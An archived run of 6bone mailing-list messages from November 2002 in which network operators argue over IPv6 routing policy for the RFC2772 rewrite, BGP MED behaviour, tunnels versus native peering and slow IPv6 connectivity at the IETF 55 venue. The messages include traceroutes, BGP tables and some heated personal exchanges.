> production quality service != production service
> 
> > > - IPv6 world must have the same routing policy, why 
> complicate IPv6
> > > routing ?
> > 
> > The same as which? As IPv4? Where people inject /30's into the DFZ?
> > There was another reason for making IPv6 and limiting on TLA sizes:
> > smaller global routing tables.
> > Or at least the hope of keeping it in limits so you don't 
> have to buy
> > a new router with 1TB of memory.
> 
> I mean: pTLA and sTLA (IPv6 world) must have the same routing policy.
> 
> I don't talk about IPv4.
> 
> > > have a good routing (we use filtering, MED,...).
> > > 
> > > A lot of sTLA don't operate their sTLA professionally.
> > > A lot of sTLA don't have a 24x7 contact and don't reply 
> > > within 24 hours.
> > > A lot of sTLA don't have a good routing (they don't use filtering,
> > > MED,...)
> > 
> > Yeah yeah you pasted that before, do you realize it stands for Multi
> > Exit Descriminator?
> > But how can you use it if you only have 1 exit or have you 
> got your own
> > native IPv6 cables
> > between your routers?
> 
> Learn how BGP work.
> If you have many peers, you have many exit.
> 
> 
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> *  2001:200::/35    3ffe:8270:0:1::30
>                                            500             0 20834 513
> 3425 2500 i
> *                   3ffe:4013:f:2a::2
>                                            502             0 3292 109
> 4554 2500 i
> *                   2001:768:e:9::1        510             0 8379 3561
> 5511 2500 i
> *                   3ffe:4013:f:d::2
>                                            540             0 
> 17715 4725
> 2500 i
> *                   3ffe:4013:f:31::2
>                                            520             0 
> 12731 5539
> 4554 2500 i
> *                   3ffe:4013:f:28::2
>                                            520             0 
> 20794 6830
> 4554 2500 i
> *                   2001:7b0:1ff::c        520             0 
> 15671 8627
> 790 3549 2500 i
> *                   3ffe:4005:0:1::2e
>                                            500             0 
> 24765 1752
> 5511 2500 i
> *                   2001:7a8:1:f004::1
>                                            500             0 
> 13193 3549
> 2500 i
> *>                  2001:7f8:2:c01d::2
>                                            500             0 1752 5511
> 2500 i
> *                   3ffe:2200:0:8012::1
>                                            520             0 2607 6939
> 2516 2500 i
> *                   3ffe:4013:f:a::2
>                                            520             0 
> 15589 6939
> 2497 2500 i
> *                   3ffe:8340::1:6         510             0 
> 13129 1752
> 5511 2500 i
> *                   3ffe:4013:f:29::2
>                                            500             0 
> 8921 13193
> 3549 2500 i
> *                   3ffe:4013:f:b::2
>                                            530             0 9112 4554
> 2500 i
> *                   3ffe:400c:feed::2
>                                            530             0 
> 13110 4554
> 2500 i
> *                   3ffe:4013:f:27::2
>                                            520             0 8472 6830
> 4554 2500 i
> 
> 
> BGP choose the route(s) with shorter ASpath and lower MED.
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> *                   2001:7a8:1:f004::1
>                                            500             0 
> 13193 3549
> 2500 i
> *>                  2001:7f8:2:c01d::2
>                                            500             0 1752 5511
> 2500 i
> 
> If there is many routes with the same ASpath size, BGP choose 
> the route
> will the lower ASN.
> 
>    Network          Next Hop            Metric LocPrf Weight Path
> *>                  2001:7f8:2:c01d::2
>                                            500             0 1752 5511
> 2500 i
> 
> 
> Best Regards,
> 
> -- 
> Nicolas DEFFAYET, NDSoftware
> NOC Website: http://noc.ndsoftwarenet.com/
> FNIX6: http://www.fnix6.net/
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

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M,$,W1#1&0D4P-S9!13=#,T5&0C<X1#`Q,31#-3)%0&YL8V)B;7,P,SX`````
M"P`I```````+`",```````,`!A#+C_3S`P`'$#(+```#`!`0``````,`$1`!
M````'@`($`$```!E````*%-/345/3D5-24=(5$)%3T9&14Y$141"64E-4TE#
M2T]&5$A)4U1(4D5!5$Y/5RE/3E-53BPR,#`R+3$Q+3$W050Q-CHU-RQ*15)/
M14Y-05-305)74D]413I/3E=(24-(4D5!3``````"`7\``0```#4````\-T-%
M030P0S!%,3!#-T0T1D)%,#<V044W0S-%1D(W.$0P,3$T0S4R14!N;&-B8FUS
),#,^`````.!1
`
end

From tjc@ecs.soton.ac.uk Sun Nov 17 13:05:51 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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As an example of efficiency.  From the IETF site if I trace to a UK v6
server I am seeing 4x the RTT.  If I trace to a US site, I see 3x the RTT.

Of course I'm grateful for IPv6 at the IETF, but these sort of comparisons
are often typical when trying to use IPv6 for day-to-day work.  In that
respect it is good that IPv4 and IPv6 RTT from the UK to Abilene sites is
pretty much identical.

e.g. IETF to news server at U.Oregon (the multi-stream I2 LSR holder...

>tracert6 hammer.ipv6.uoregon.edu

Tracing route to hammer.ipv6.uoregon.edu [2001:468:d01:dc::80df:dc1d]
from 2001:240:5ff:0:68bf:1296:a4a9:a1a0 over a maximum of 30 hops:

  1        3 ms     2 ms     3 ms  rtr1.ietf55.ops.ietf.org [2001:240:5ff::1]
  2       25 ms    26 ms    26 ms  2001:240:5ff:ffff::1
  3      206 ms   209 ms   207 ms  otm6-bb0.IIJ.Net [2001:240:100:fffc::ff]
  4      207 ms   206 ms   206 ms  otm6-gate0.IIJ.Net [2001:240:100::204]
  5      207 ms   207 ms   208 ms  hitachi1.otemachi.wide.ad.jp [2001:200:0:1800
::9c4:2]
  6      207 ms   207 ms   208 ms  pc6.otemachi.wide.ad.jp [2001:200:0:1800::9c4
:0]
  7      208 ms   208 ms   207 ms  pc1.notemachi.wide.ad.jp [2001:200:0:6c01:290
:27ff:fe3a:d8]
  8      346 ms   346 ms   346 ms  c12k.sanjose.wide.ad.jp [2001:200:0:6c01:209:
11ff:fedb:19fe]
  9      293 ms   295 ms   295 ms  2001:200:0:6c04::2
 10      308 ms   307 ms   309 ms  2001:468:ff:b4d::2
 11      308 ms   311 ms   309 ms  2001:468:d3f:1::2
 12      308 ms   307 ms   307 ms  hammer.ipv6.uoregon.edu [2001:468:d01:dc::80d
f:dc1d]
Trace complete.

[compared to 100ms IPv4 RTT]

Then a trace to a UK server:

C:\Documents and Settings\Tim Chown>tracert6 www.ipv6.ac.uk

Tracing route to seven.ecs.soton.ac.uk [2001:630:d0:200:a00:20ff:feb5:ef1e]
from 2001:240:5ff:0:68bf:1296:a4a9:a1a0 over a maximum of 30 hops:

  1        3 ms     3 ms     2 ms  rtr1.ietf55.ops.ietf.org [2001:240:5ff::1]
  2       25 ms    26 ms    25 ms  2001:240:5ff:ffff::1
  3       26 ms    26 ms    26 ms  2001:458:26:2::500
  4       54 ms    54 ms    54 ms  3ffe:81d0:ffff:1::4
  5      104 ms   106 ms   104 ms  fe-tu3.fmt.ipv6.he.net [3ffe:81d0:ffff:1::]
  6      375 ms   442 ms   376 ms  ulcc.ipv6.ja.net [2001:630:0:1::2e]
  7      382 ms   382 ms   383 ms  soton.tun.ipv6.ja.net [2001:630:0:1::1e]
  8      383 ms   382 ms   382 ms  2001:630:d0:200:a00:20ff:feb5:ef1e

Trace complete.

[in comparison IPv4 RTT is again around 100ms]

tim

From itojun@itojun.org Sun Nov 17 13:10:07 2002
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Subject: Re: [6bone] 6bone-mess-01.txt 
From: itojun@iijlab.net
Date: Mon, 18 Nov 2002 06:10:03 +0900
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>Some comments on -01.txt.  I think the dcoument as is makes the point well.
>All we need are some agreed answers :)  I notice for example that from the
>IETF here my IPv6 RTT to home (UK) is 400ms, as opposed to 100ms via IPv4.  

	part of the reason is because we IIJ (providing IPv6 connectivity
	this time) have policy not to peer over tunnels, to keep quality of
	our IPv6 routes/paths.  so we have no direct reachability to Europe.
	the cause of issue is a bit different from 6bone-mess document.

>(This is not a US-Europe thing per se as the Abilene-Europe link has near
>identical RTT due to use of dual-stack links following a very similar path,
>and no "errant" tunnels)

	IIJ would like to peer with Abilene or any other ASes, of course,
	if they participate to any of the exchanges we are present.  we are
	present at:
		PAIX palo alto
		6TAP palo alto (L3 IX so there should be no config needed)
		NYIIX
		6IIX-NY
	and in japan:
		NSPIXP6
		NSPIXP2
		JPNAP6

itojun

From tjc@ecs.soton.ac.uk Sun Nov 17 13:25:32 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] IETF IPv6 connectivity
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On Mon, Nov 18, 2002 at 06:10:03AM +0900, itojun@iijlab.net wrote:
> >Some comments on -01.txt.  I think the dcoument as is makes the point well.
> >All we need are some agreed answers :)  I notice for example that from the
> >IETF here my IPv6 RTT to home (UK) is 400ms, as opposed to 100ms via IPv4.  
> 
> 	part of the reason is because we IIJ (providing IPv6 connectivity
> 	this time) have policy not to peer over tunnels, to keep quality of
> 	our IPv6 routes/paths.  so we have no direct reachability to Europe.
> 	the cause of issue is a bit different from 6bone-mess document.

It's a tradeoff between a short, good quality tunnel (e.g. to peer with
Abilene) and a long native route (i.e. going via Japan to get from one
part of the US to another).  In this case, the "native only" policy isn't
the best choice, although I respect your goal in the longer-term view.
 
> >(This is not a US-Europe thing per se as the Abilene-Europe link has near
> >identical RTT due to use of dual-stack links following a very similar path,
> >and no "errant" tunnels)
> 
> 	IIJ would like to peer with Abilene or any other ASes, of course,
> 	if they participate to any of the exchanges we are present.  we are
> 	present at:
> 		PAIX palo alto
> 		6TAP palo alto (L3 IX so there should be no config needed)
> 		NYIIX
> 		6IIX-NY
> 	and in japan:
> 		NSPIXP6
> 		NSPIXP2
> 		JPNAP6

Something for the Abilene folks to comment on... I'm sure Abilene is present
natively at one or more of these - the 6TAP especially :)   Thus the tunnel
point may be moot (although it doesn't help during the IETF as such).

Tim

From itojun@itojun.org Sun Nov 17 13:46:38 2002
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Subject: Re: [6bone] IETF IPv6 connectivity 
From: itojun@iijlab.net
Date: Mon, 18 Nov 2002 06:46:36 +0900
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>> 	if they participate to any of the exchanges we are present.  we are
>> 	present at:
>> 		PAIX palo alto
>> 		6TAP palo alto (L3 IX so there should be no config needed)
>> 		NYIIX
>> 		6IIX-NY
>> 	and in japan:
>> 		NSPIXP6
>> 		NSPIXP2
>> 		JPNAP6
>Something for the Abilene folks to comment on... I'm sure Abilene is present
>natively at one or more of these - the 6TAP especially :)   Thus the tunnel
>point may be moot (although it doesn't help during the IETF as such).

	i don't get any Abilene route from 6TAP palo alto.  and the issue w/
	delay to european ASes can only be solved only if Abilene provides us
	transit...

itojun

From kato@wide.ad.jp Sun Nov 17 14:05:27 2002
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To: itojun@iijlab.net
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Subject: Re: [6bone] 6bone-mess-01.txt 
From: Akira Kato <kato@wide.ad.jp>
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	<20021117211003.AB9924B25@coconut.itojun.org>
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> 	part of the reason is because we IIJ (providing IPv6 connectivity
> 	this time) have policy not to peer over tunnels, to keep quality of
> 	our IPv6 routes/paths.  so we have no direct reachability to Europe.
> 	the cause of issue is a bit different from 6bone-mess document.

If itojun is able to relax the policy for the tentative connectivities
such as IETF venue, by putting two (or more) tunnels to major IPv6 ISPs
in U.S. and in Europe repectively, people in Europe will be much happier
because their packets don't have to be transmitted across the ponds 6
times in a round-trip in the worst case.

-- Akira Kato


From nicolas.deffayet@ndsoftware.net Sun Nov 17 15:03:29 2002
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Subject: RE: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
Cc: Jeroen Massar <jeroen@unfix.org>,
   "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
   "'Bob Fink'" <fink@es.net>, 6bone@ISI.EDU
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On Sun, 2002-11-17 at 21:51, Jorgensen, Roger wrote:

> You have shown MANY times that you do not have any clue about
> how REAL network work, REAL as in real routing hardware and real
> links, NOT tunnels and a few BSD/linux boxes with zebra or whatever 
> you use.

Very funny from you: "real links, NOT tunnels".

>From your looking-glass (http://www.ipv6.aorta.net/cgi-bin/v6glass.cgi):

NL-AMS06D-RE1> show ipv6 tunnel 
Tun Route  LastInp  Packets Description
  0   -   00:00:03 19002640 AS8733 CHELLO.BE be-bru-ri-01
  2   -   00:00:04  1180607 AS8209 CHELLO.NL IPV6 sicks.chello.nl
  3   -   00:00:07 231320930 AS65470 AORTA-NO IPV6
  4   -   00:00:20 14903986 AS65430 AORTA-AT IPV6
  9   -   00:00:43 20176084 AS65530 AORTA-US us-nyc02a-re1
 22   -   00:00:07 149907180 AS65460 AORTA-SE IPV6
 28   -   00:00:00 160352479 AS6830 CHELLO.DE IPV6 de-fra-ri-01

Very nice, your network have only tunnels ? You don't have REAL links
beetween your routers ?

Why you don't go to AMS-IX ? NL-AMS06D-RE1 is not on a AMS-IX POP ?
If you go to AMS-IX, you can peer natively (without tunnels) with this
ISP:

 11   -   00:00:17   134364 AS3265 xs4all
 14   -   00:00:35  1510577 AS8954 IPng
 15   -   00:00:02 57960912 AS25336 XS26
 16   -   00:00:56   794761 AS1890 UU.NET NL/EU
 30   -   00:00:14   152919 AS1200 AMSIX AIAD
 48   -   00:00:08   132504 AS1103 SURFnet

It's easy to criticize tunneling and don't try to have a maximum of
native peers.

> a few BSD/linux boxes with zebra or whatever you use

I'm sorry but a lot of ISP use PC box with Zebra in production.
There is not differences when you peer with a Zebra, a Cisco, or a
Juniper.

Go to http://www.wide.ad.jp/nspixp6/peering-status.html, you will see
that a lot of ISP use PC box with Zebra.

IIJ (sTLA/pTLA): NetBSD 1.5.1 w/ zebra
WIDE (sTLA): NetBSD-1.5.1 w/ zebra / GR2000
STCN (sTLA): FreeBSD4.5/zebra0.92a
FBDC (sTLA/pTLA): FreeBSD 4.3-STABLE / zebra-0.91a


Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From pekkas@netcore.fi Sun Nov 17 15:17:04 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: itojun@iijlab.net
cc: Tim Chown <tjc@ecs.soton.ac.uk>, <6bone@ISI.EDU>
Subject: Re: [6bone] IETF IPv6 connectivity 
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On Mon, 18 Nov 2002 itojun@iijlab.net wrote:
> 	i don't get any Abilene route from 6TAP palo alto.  and the issue w/
> 	delay to european ASes can only be solved only if Abilene provides us
> 	transit...

Easier fix would be to add a few non-transit tunnels and appropriate
filters to some prominent operators at rtr1.ietf55.ops.ietf.org or the
second hop router.

Tunneling over v4 is better because then we'd be able to use our v6 
infrastructure at least, even if IIJ has no proper v6 interconnections in 
place (btw, IMO good interconnections between bigger transits is one of 
the most important things to get done ASAP).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Sun Nov 17 15:30:12 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: "Robert J. Rockell" <rrockell@sprint.net>
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On Wed, 13 Nov 2002, Robert J. Rockell wrote:
> New 2772 draft.  Take a look.   Look for "WOOP" in the body for notes.
> Largely, only the pTLA requirements are re-written. Send to me with
> comments, or the list.   We beyond the dealine for submission, but mayve
> this can serve as good discussion points for Tuesday lunch meeting at IETF.

I'll only comment on the old parts which haven't really changed, for now.

1) Scope of the document should state (this is mentioned later in the doc,
last sentece of section 4)  that the rules could also be usable to RIR
space users, not just 6bone but.

2) subsections under section 3 could be compressed -- just lists of things 
not to allow or what to allow.  There's a lot of replicated text that 
doesn't really add much.

3) 3.4, change FF08::/16 and FF18::/16 to FFx8::/16 (prefix based mcast 
addresses etc have since been specified)

4) 3.10 on 6to4 is a bit out-of-date

5) section 4 might be a bit compressable also

6) I'm not sure whether registering all the leaf sites etc. in the 
registry is all that useful.  It just adds clutter there.  I'd be more 
interest in a registry which only has important links there. (Compare a 
huge list of leaf sites, pTLA's, pNLA's etc. mingled in one big mess in 
the "tunnels" section).



Editorial,

==> s/aggreement/agreement/g
==> s/as describe in/as described in/
==> s/informatino/information/
==> s/mimimum/minimum/
==> s/acess/access/
==> s/guildelines/guidelines/g
==> s/unduely/unduly/
==> s/repremand/reprimant/

   Eventually, the Internet registries will assign prefixes under other
   than the 6Bone TLA (3FFE::/16).  Registry assigned prefixes (currently

==> s/Eventually, the//, s/will assign/are assigning/

   5. The pTLA Applicant MUST have a valid Public Autonomous System
      Number.  Request for pTLA under private Autonomous System 
      (ASN 64512 thru 65535) numbers will not be entertained.

==> or reserved..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Sun Nov 17 16:08:56 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: Bob Fink <fink@es.net>, <6bone@ISI.EDU>
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On 16 Nov 2002, Robert Kiessling wrote:
> Here is a rather radical proposal:
> 
>         Peerings between 6bone sites MUST NOT carry any other routes apart 
>         from 3FFE and a summary route for 2001/3.

Indeed, this is a rather radical -- and interesting -- proposal.

My worry is whether this would work as we expect.

More often than not, RIR space owners' routing is equally messy than 
anyone else's, possibly because it has been seen as a way to survive.

The above proposal would be good in the "last dying throes" of 6bone -- 
when there actually _is_ native (or otherwise good) and organized 
connectivity between 2001::/16 sites.  Currently there definitely is 
*NOT*.

In summary, I believe it may be too early for this.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From itojun@itojun.org Sun Nov 17 16:13:17 2002
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Subject: Re: [6bone] IETF IPv6 connectivity 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
Date: Mon, 18 Nov 2002 09:12:58 +0900
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	to non-IETF participants: sorry for the noise.

>> 	i don't get any Abilene route from 6TAP palo alto.  and the issue w/
>> 	delay to european ASes can only be solved only if Abilene provides us
>> 	transit...
>Easier fix would be to add a few non-transit tunnels and appropriate
>filters to some prominent operators at rtr1.ietf55.ops.ietf.org or the
>second hop router.

	note: the venue is leaf /48 site and does not run BGP.

	if you *really* need a special tunnel from the venue to your AS,
	tell me:
	- tunnel endpoint
	- your address space (e.g. 2001:xxxx::/32)
	then i'll try to put tunnel as well as static route to you.

	you will need to statically route 2001:240:5ff::/48 to the venue.

itojun

From paul@clubi.ie Sun Nov 17 16:44:32 2002
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On 17 Nov 2002, Nicolas DEFFAYET wrote:

> A lot of sTLA don't have a good routing (they don't use filtering,
> MED,...)

MED attribute is non-transitive. it doesnt get passed along - doesnt 
do much except for peers with whom you have multiple links.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
FORTUNE'S FUN FACTS TO KNOW AND TELL:		#44
	Zebras are colored with dark stripes on a light background.


From yjchui@cht.com.tw Sun Nov 17 17:00:45 2002
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References: <20021114193128.C9841@ns1.arch.bellsouth.net> <20021115062126.GP13765@oleane.net>
Subject: Re: [6bone] ipv6 on c827
Date: Mon, 18 Nov 2002 08:59:49 +0800
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Hi:
      Does c827 mean Cisco 827? If does, it supports IPv6. I have tested the
IPv6 ADSL function with the equipment.

Regards
Yann-Ju Chu
ChungHwa Telecom. Co.
E-mail: yjchui@cht.com.tw
----- Original Message -----
From: "Jean-Claude Christophe" <jch@oleane.net>
To: "Christian Kuhtz" <ck@arch.bellsouth.net>
Cc: <6bone@ISI.EDU>
Sent: Friday, November 15, 2002 2:21 PM
Subject: Re: [6bone] ipv6 on c827


> hey Christian,
>
> There are no IPv6 support for the 820 series yet.
>
> Regards,
>
> According to Christian Kuhtz :
> > hey gang,
> >
> > if there's anybody else 6bone'ing with a c827, please get in touch
> > with me ;)..
> >
> > thanks,
> > christian
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
>
> --
> Jean-Claude Christophe / jch@oleane.net
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>



From alex@bit.nl Sun Nov 17 22:53:48 2002
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To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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   "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
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Subject: RE: [6bone] RFC2772 rewrite -- bigger scope goals
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On 18 Nov 2002, Nicolas DEFFAYET wrote:

> Very nice, your network have only tunnels ? You don't have REAL links
> beetween your routers ?

I think the guys at chello/upc have more real links than you can ever
dream of.

>  11   -   00:00:17   134364 AS3265 xs4all
>  14   -   00:00:35  1510577 AS8954 IPng
>  15   -   00:00:02 57960912 AS25336 XS26
>  16   -   00:00:56   794761 AS1890 UU.NET NL/EU
>  30   -   00:00:14   152919 AS1200 AMSIX AIAD
>  48   -   00:00:08   132504 AS1103 SURFnet

Maybe you should get your fact straight first. There are a more ASes you
can peer IPv6 with at the AMS-IX. Besides, Chello *IS* at AMS-IX.

> It's easy to criticize tunneling and don't try to have a maximum of
> native peers.

It's easy to criticize indeed. Especially if you don't know what you are
talking about.

> I'm sorry but a lot of ISP use PC box with Zebra in production.
> There is not differences when you peer with a Zebra, a Cisco, or a
> Juniper.

Sure kiddo, you're right. Maybe we shouldn't blame you for not knowing
better. You've probably never *seen* an IXP (I mean a *real* one, with
connected members 'n stuff).

Maybe you should read a little about the difference between ASIC and CPU
based routing. Even (some) Cisco's don't need their CPU to forward every
bit in a packet.

-- 
                              __________________
Met vriendelijke groet,      /\ ___/
Alex Bik                    /- \ _/  Business Internet Trends BV
AB2298-RIPE                /--- \/           __________________


From bjorn@mork.no Mon Nov 18 02:09:03 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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 DEFFAYET's message of "17 Nov 2002 20:08:39 +0100")
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Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:

> BGP choose the route(s) with shorter ASpath and lower MED.

MED won't matter unless you have multiple links to the _same_ AS.

See e.g.
http://www.cisco.com/en/US/tech/tk648/tk365/technologies_tech_note09186a0080094431.shtml 



Bjørn

From nicolas.deffayet@ndsoftware.net Mon Nov 18 02:51:42 2002
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Subject: RE: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Alex Bik <alex@bit.nl>
Cc: "Jorgensen, Roger" <RJorgensen@upctechnology.com>,
   Jeroen Massar <jeroen@unfix.org>,
   "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>,
   "'Bob Fink'" <fink@es.net>, 6bone@ISI.EDU
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On Mon, 2002-11-18 at 07:53, Alex Bik wrote:
> > Very nice, your network have only tunnels ? You don't have REAL links
> > beetween your routers ?
> 
> I think the guys at chello/upc have more real links than you can ever
> dream of.

I mean IPv6 links of course...

> >  11   -   00:00:17   134364 AS3265 xs4all
> >  14   -   00:00:35  1510577 AS8954 IPng
> >  15   -   00:00:02 57960912 AS25336 XS26
> >  16   -   00:00:56   794761 AS1890 UU.NET NL/EU
> >  30   -   00:00:14   152919 AS1200 AMSIX AIAD
> >  48   -   00:00:08   132504 AS1103 SURFnet
> 
> Maybe you should get your fact straight first. There are a more ASes you
> can peer IPv6 with at the AMS-IX. Besides, Chello *IS* at AMS-IX.

I know who is at AMS-IX, thanks.
I talked about _current_ peer of Chello/UPC/AORTA (AS6830).

> > I'm sorry but a lot of ISP use PC box with Zebra in production.
> > There is not differences when you peer with a Zebra, a Cisco, or a
> > Juniper.
> 
> Maybe you should read a little about the difference between ASIC and CPU
> based routing. Even (some) Cisco's don't need their CPU to forward every
> bit in a packet.

Roger wrote "You have shown MANY times that you do not have any clue
about how REAL network work, REAL as in real routing hardware and real
links, NOT tunnels and a few BSD/linux boxes with zebra or whatever you
use.", he don't talk about routing performance....

REAL network (like Roger said) can use Zebra for routing (see my
previous email..).

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From alex@bit.nl Mon Nov 18 03:26:26 2002
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On 18 Nov 2002, Nicolas DEFFAYET wrote:

> REAL network (like Roger said) can use Zebra for routing (see my
> previous email..).

Sure thing. And monkeys may fly out of my butt.

-- 
                              __________________
Met vriendelijke groet,      /\ ___/
Alex Bik                    /- \ _/  Business Internet Trends BV
AB2298-RIPE                /--- \/           __________________


From gert@Space.Net Mon Nov 18 06:13:49 2002
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From: Gert Doering <gert@space.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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Hi,

On Thu, Nov 14, 2002 at 10:03:24PM +0200, Pekka Savola wrote:
> The next question would be whether we want to keep 6bone de-facto free and
> open, and a "big mess", or try to do something about it.  Views differ on
> this one; the options are basically (I hope I didn't miss any):
>  1) keep 6bone routing as it is, build totally separate competing v6 
> Internet for "production"
>  2) try to move 6bone-style routing off to the edges of the network
>     a) try to clean up the current mess, or
>     b) prevent any further mess in new-pTLA rules
>  3) kill 6bone

I like Robert's approach.

Keep the 6bone for whatever experiments people want to do, but make sure
that no transit of non-6bone-space goes through 6bone sites.

2001::/16 people have their own stability issues, but as those are all
commercial entities, I assume more interest in stabilizing IPv6 routing
over here (I'm part of the 2001:: mess).  The commercial world has their
own mechanisms to clean up "bad routing" - like bad RTTs, packet loss,
occasional unreachabilites due to routing loops, and so on.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  49875 (48540)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From dr@cluenet.de Mon Nov 18 06:34:11 2002
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From: Daniel Roesen <dr@cluenet.de>
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
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On Mon, Nov 18, 2002 at 11:08:52AM +0100, Bjørn Mork wrote:
> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:
> > BGP choose the route(s) with shorter ASpath and lower MED.
> 
> MED won't matter unless you have multiple links to the _same_ AS.

or using "always-compare-med"


Regards,
Daniel

From pekkas@netcore.fi Mon Nov 18 07:04:17 2002
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On Mon, 18 Nov 2002, Bjørn Mork wrote:

> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:
> 
> > BGP choose the route(s) with shorter ASpath and lower MED.
> 
> MED won't matter unless you have multiple links to the _same_ AS.

unstated background is that Mr Deffayet is using "always-compare-med".

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bjorn@mork.no Mon Nov 18 08:46:02 2002
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Pekka Savola <pekkas@netcore.fi> writes:
> On Mon, 18 Nov 2002, Bjørn Mork wrote:
>> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:
>> 
>> > BGP choose the route(s) with shorter ASpath and lower MED.
>> 
>> MED won't matter unless you have multiple links to the _same_ AS.
>
> unstated background is that Mr Deffayet is using "always-compare-med".

With 90+ uncoordinated peers? Doesn't that result in more or less
random routing? 


Bjørn

From nicolas.deffayet@ndsoftware.net Mon Nov 18 10:45:36 2002
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Subject: Re: [6bone] RFC2772 rewrite -- bigger scope goals
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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On Mon, 2002-11-18 at 17:45, Bjørn Mork wrote:
> Pekka Savola <pekkas@netcore.fi> writes:
> > On Mon, 18 Nov 2002, Bjørn Mork wrote:
> >> Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net> writes:
> >> 
> >> > BGP choose the route(s) with shorter ASpath and lower MED.
> >> 
> >> MED won't matter unless you have multiple links to the _same_ AS.
> >
> > unstated background is that Mr Deffayet is using "always-compare-med".
> 
> With 90+ uncoordinated peers? Doesn't that result in more or less
> random routing? 

http://noc.ndsoftwarenet.com/stats/aspath-tree/bgp-page-complete.php

Our routing is very clean and not random.

BGP peers who receive full transit from us, can choose to get only
native routes by using BGP communities.


-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From Aphollis@aol.com Mon Nov 18 13:37:57 2002
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Hi,
My name is Adam Hollis and I am conducting a project at Chico State where I am setting up an IPv6 host (Windows XP) to a 3640 Cisco router.  Then I want to be able to tunnel through an IPv4 network and so forth.  I was hoping that you could help me find a contact so I can get an IPv6 address for this project.  Any help would be great.  
Thank you,
Adam Hollis

From paul@clubi.ie Mon Nov 18 14:48:53 2002
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On Mon, 18 Nov 2002, Alex Bik wrote:

> On 18 Nov 2002, Nicolas DEFFAYET wrote:
> 
> > REAL network (like Roger said) can use Zebra for routing (see my
> > previous email..).
> 
> Sure thing. And monkeys may fly out of my butt.

ah come on now... that's not fair. zebra /is/ used in real networks, 
and more specifically has a niche in IPv6 routing due to it being one 
of the more accessible IPv6 routing platforms.

regards,
-- 
Paul Jakma	paul@clubi.ie	paul@jakma.org	Key ID: 64A2FF6A
	warning: do not ever send email to spam@dishone.st
Fortune:
Our informal mission is to improve the love life of operators worldwide.
		-- Peter Behrendt, president of Exabyte


From rrockell@sprint.net Mon Nov 18 15:32:41 2002
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Subject: [6bone] Meeting tomorrow about 6bone routing goop.
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So I am still trying to find a room.  I will mail the list as soon as we are
able to settle on one, as well as post on the message board right near the
registration desk.   If all else fails, meet by the escalators and we'll go
somewhere where we can all chat.


Thanks
Rob Rockell
SprintLink
(+1) 703-689-6322
-----------------------------------------------------------------------


From rrockell@sprint.net Mon Nov 18 15:33:04 2002
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Also, if not clear before, meeting is Tuesday, 11:30 AM (at the conclusion
of the morning sessions).

Thanks
Rob Rockell
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On Mon, 18 Nov 2002, Robert J. Rockell wrote:

->So I am still trying to find a room.  I will mail the list as soon as we are
->able to settle on one, as well as post on the message board right near the
->registration desk.   If all else fails, meet by the escalators and we'll go
->somewhere where we can all chat.
->
->
->Thanks
->Rob Rockell
->SprintLink
->(+1) 703-689-6322
->-----------------------------------------------------------------------
->
->


From rrockell@sprint.net Mon Nov 18 15:40:39 2002
